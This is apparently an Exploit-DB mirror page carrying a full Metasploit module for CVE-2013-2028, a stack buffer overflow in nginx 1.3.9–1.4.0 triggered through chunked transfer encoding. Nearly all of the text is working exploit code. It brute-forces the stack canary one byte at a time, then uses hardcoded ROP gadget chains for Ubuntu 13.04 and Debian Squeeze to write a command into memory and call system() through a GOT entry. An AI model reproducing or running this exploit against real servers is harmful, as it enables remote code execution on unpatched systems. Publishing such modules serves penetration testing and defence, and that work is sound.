Nginx 1.3.9 < 1.4.0 - Chuncked Encoding Stack Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2013-05-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/25775/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    
    class Metasploit4 < Msf::Exploit::Remote
    
    include Exploit::Remote::Tcp
    
    def initialize(info = {})
    
    super(update_info(info,
    'Name' => 'Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow',
    'Description'=> %q{
    This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx.
    The exploit first triggers an integer overflow in the ngx_http_parse_chunked() by
    supplying an overly long hex value as chunked block size. This value is later used
    when determining the number of bytes to read into a stack buffer, thus the overflow
    becomes possible.
    },
    'Author' =>
    [
    'Greg MacManus',# original discovery
    'hal',# Metasploit module
    'saelo' # Metasploit module
    ],
    'DisclosureDate' => 'May 07 2013',
    'License'=> MSF_LICENSE,
    'References' =>
    [
    ['CVE', '2013-2028'],
    ['OSVDB', '93037'],
    ['URL', 'http://nginx.org/en/security_advisories.html'],
    ['URL', 'http://packetstormsecurity.com/files/121560/Nginx-1.3.9-1.4.0-Stack-Buffer-Overflow.html']
    ],
    'Privileged' => false,
    'Payload'=>
    {
    'BadChars' => "\x0d\x0a",
    },
    'Arch' => ARCH_CMD,
    'Platform' => 'unix',
    'Targets'=>
    [
    [ 'Ubuntu 13.04 32bit - nginx 1.4.0', {
    'CanaryOffset' => 5050,
    'Offset' => 12,
    'Writable' => 0x080c7330, # .data from nginx
    :dereference_got_callback => :dereference_got_ubuntu_1304,
    :store_callback => :store_ubuntu_1304,
    }],
    [ 'Debian Squeeze 32bit - nginx 1.4.0', {
    'Offset' => 5130,
    'Writable' => 0x080b4360, # .data from nginx
    :dereference_got_callback => :dereference_got_debian_squeeze,
    :store_callback => :store_debian_squeeze
    } ],
    ],
    
    'DefaultTarget' => 0
    ))
    
    register_options([
    OptPort.new('RPORT', [true, "The remote HTTP server port", 80])
    ], self.class)
    
    register_advanced_options(
    [
    OptInt.new("CANARY", [false, "Use this value as stack canary instead of brute forcing it", 0xffffffff ]),
    ], self.class)
    
    end
    
    def peer
    "#{rhost}:#{rport}"
    end
    
    def check
    begin
    res = send_request_fixed(nil)
    
    if res =~ /^Server: nginx\/(1\.3\.(9|10|11|12|13|14|15|16)|1\.4\.0)/m
    return Exploit::CheckCode::Appears
    elsif res =~ /^Server: nginx/m
    return Exploit::CheckCode::Detected
    end
    
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    print_error("#{peer} - Connection failed")
    end
    
    return Exploit::CheckCode::Unknown
    end
    
    #
    # Generate a random chunk size that will always result
    # in a negative 64bit number when being parsed
    #
    def random_chunk_size(bytes=16)
    return bytes.times.map{ (rand(0x8) + 0x8).to_s(16) }.join
    end
    
    def send_request_fixed(data)
    
    connect
    
    request = "GET / HTTP/1.1\r\n"
    request <<"Host: #{Rex::Text.rand_text_alpha(16)}\r\n"
    request <<"Transfer-Encoding: Chunked\r\n"
    request <<"\r\n"
    request <<"#{data}"
    
    sock.put(request)
    
    res = nil
    
    begin
    res = sock.get_once(-1, 0.5)
    rescue EOFError => e
    # Ignore
    end
    
    disconnect
    return res
    end
    
    def store_ubuntu_1304(address, value)
    chain = [
    0x0804c415, # pop ecx ; add al, 29h ; ret
    address, # address
    0x080b9a38, # pop eax ; ret
    value.unpack('V').first, # value
    0x080a9dce, # mov [ecx], eax ; mov [ecx+4], edx ; mov eax, 0 ; ret
    ]
    return chain.pack('V*')
    end
    
    def dereference_got_ubuntu_1304
    chain = [
    0x08094129, # pop esi; ret
    0x080c5090, # GOT for localtime_r
    0x0804c415, # pop ecx ; add al, 29h ; ret
    0x001a4b00, # Offset to system
    0x080c360a, # add ecx, [esi] ; adc al, 41h ; ret
    0x08076f63, # push ecx ; add al, 39h ; ret
    0x41414141, # Garbage return address
    target['Writable'], # ptr to .data where contents have been stored
    ]
    return chain.pack('V*')
    end
    
    def store_debian_squeeze(address, value)
    chain = [
    0x08050d93,# pop edx ; add al 0x83 ; ret
    value.unpack('V').first, # value
    0x08067330,# pop eax ; ret
    address, # address
    0x08070e94,# mov [eax] edx ; mov eax 0x0 ; pop ebp ; ret
    0x41414141,# ebp
    ]
    
    return chain.pack('V*')
    end
    
    def dereference_got_debian_squeeze
    chain = [
    0x0804ab34,# pop edi ; pop ebp ; ret
    0x080B4128 -
    0x5d5b14c4,# 0x080B4128 => GOT for localtime_r; 0x5d5b14c4 => Adjustment
    0x41414141,# padding (ebp)
    0x08093c75,# mov ebx, edi ; dec ecx ; ret
    0x08067330,# pop eax # ret
    0xfffb0c80,# offset
    0x08078a46,# add eax, [ebx+0x5d5b14c4] # ret
    0x0804a3af, # call eax # system
    target['Writable'] # ptr to .data where contents have been stored
    ]
    return chain.pack("V*")
    end
    
    def store(buf, address, value)
    rop = target['Rop']
    chain = rop['store']['chain']
    chain[rop['store']['address_offset']] = address
    chain[rop['store']['value_offset']] = value.unpack('V').first
    buf << chain.pack('V*')
    end
    
    def dereference_got
    
    unless self.respond_to?(target[:store_callback]) and self.respond_to?(target[:dereference_got_callback])
    fail_with(Exploit::Failure::NoTarget, "Invalid target specified: no callback functions defined")
    end
    
    buf = ""
    command = payload.encoded
    i = 0
    while i < command.length
    buf << self.send(target[:store_callback], target['Writable'] + i, command[i, 4].ljust(4, ";"))
    i = i + 4
    end
    
    buf << self.send(target[:dereference_got_callback])
    
    return buf
    end
    
    def exploit
    data = random_chunk_size(1024)
    
    if target['CanaryOffset'].nil?
    data << Rex::Text.rand_text_alpha(target['Offset'] - data.size)
    else
    
    if not datastore['CANARY'] == 0xffffffff
    print_status("#{peer} - Using 0x%08x as stack canary" % datastore['CANARY'])
    canary = datastore['CANARY']
    else
    print_status("#{peer} - Searching for stack canary")
    canary = find_canary
    
    if canary.nil? || canary == 0x00000000
    fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to find stack canary")
    else
    print_good("#{peer} - Canary found: 0x%08x\n" % canary)
    end
    end
    
    data <<Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
    data <<[canary].pack('V')
    data << Rex::Text.rand_text_hex(target['Offset'])
    
    end
    
    data << dereference_got
    
    begin
    send_request_fixed(data)
    rescue Errno::ECONNRESET => e
    # Ignore
    end
    handler
    end
    
    def find_canary
    # First byte of the canary is already known
    canary = "\x00"
    
    print_status("#{peer} - Assuming byte 0 0x%02x" % 0x00)
    
    # We are going to bruteforce the next 3 bytes one at a time
    3.times do |c|
    print_status("#{peer} - Bruteforcing byte #{c + 1}")
    
    0.upto(255) do |i|
    data = random_chunk_size(1024)
    data <<Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
    data <<canary
    data << i.chr
    
    unless send_request_fixed(data).nil?
    print_good("#{peer} - Byte #{c + 1} found: 0x%02x" % i)
    canary << i.chr
    break
    end
    end
    end
    
    if canary == "\x00"
    return nil
    else
    return canary.unpack('V').first
    end
    end
    end